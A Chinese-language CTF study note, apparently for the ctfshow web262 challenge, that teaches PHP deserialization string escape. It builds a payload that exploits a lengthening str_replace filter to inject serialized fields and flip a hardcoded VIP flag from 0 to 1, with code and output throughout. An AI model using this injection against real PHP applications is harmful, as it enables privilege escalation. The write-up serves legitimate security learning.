前言
做ctfshow web262的一点前置知识补充
也是学习一下字符串逃逸的思路
正文
以这段代码作为引入来了解字符串逃逸
首先可以看到这段代码是很基本的php反序列化,输出结果显而易见
<?php
class user
{
public $username;
public $password;
public $VIP;
public function __construct($u, $p)
{
$this->username = $u;
$this->password = $p;
$this->VIP = 0;
}
}
$u = new user('admin', 114514);
echo serialize($u);
//O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";i:114514;s:3:"VIP";i:0;}
那如果在实例化并序列化一个类后再替换其中的字符串,结果会怎么样呢?
这里修改代码增加一个filter方法并在序列化后调用
<?php
class user
{
public $username;
public $password;
public $VIP;
public function __construct($u, $p)
{
$this->username = $u;
$this->password = $p;
$this->VIP = 0;
}
}
function filter($s)
{
return str_replace('admin', 'Hacker', $s);
}
$u = new user('admin', 114514);
$u_seri = serialize($u);
echo filter($u_seri);
//O:4:"user":3:{s:8:"username";s:5:"Hacker";s:8:"password";i:114514;s:3:"VIP";i:0;}
逻辑上很明显,只有字符串的内容admin
被修改了,但是前面的长度不会变化,所以这种情况下是无法执行反序列化的
但是如果我们修改username的内容为admin";s:8:"password";i:114514;s:3:"VIP";i:0;}
,在这种情况下是否}
能否像sql语句那样子实现闭合呢?
$u = new user('admin";s:8:"password";i:114514;s:3:"VIP";i:0;}', 114514);
//O:4:"user":3:{s:8:"username";s:46:"Hacker";s:8:"password";i:114514;s:3:"VIP";i:0;}";s:8:"password";i:114514;s:3:"VIP";i:0;}
可以发现由于长度不足46,依然不能进行反序列化
这个时候我们就需要想办法把长度凑够实现反序列化
我们知道Hacker
比admin
多了一个字符,所以可以通过字符替换增加的位数来补足我们所需的长度
46-6=40
所以我们需要再重复40次admin来补足相差的位数
$u = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";i:114514;s:3:"VIP";i:0;}', 114514);
//这里使用str_repeat()函数简化
$u = new user(str_repeat('admin', 41) . '";s:8:"password";i:114514;s:3:"VIP";i:1;}', 114514);
//O:4:"user":3:{s:8:"username";s:246:"HackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHacker";s:8:"password";i:114514;s:3:"VIP";i:0;}";s:8:"password";i:114514;s:3:"VIP";i:0;}
此时再尝试反序列化,成功
var_dump (unserialize(filter($u_seri)));
/*object(user)#2 (3) {
["username"]=>
string(246) "HackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHacker"
["password"]=>
int(114514)
["VIP"]=>
int(0)
}*/
如果我们这里把VIP
的值改为1
可以发现反序列化的VIP值被改变了,绕过了原本写死的VIP=0
object(user)#2 (3) {
["username"]=>
string(246) "HackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHacker"
["password"]=>
int(114514)
["VIP"]=>
int(1)
}
结论
这种姿势适用于替换字符数增加的情况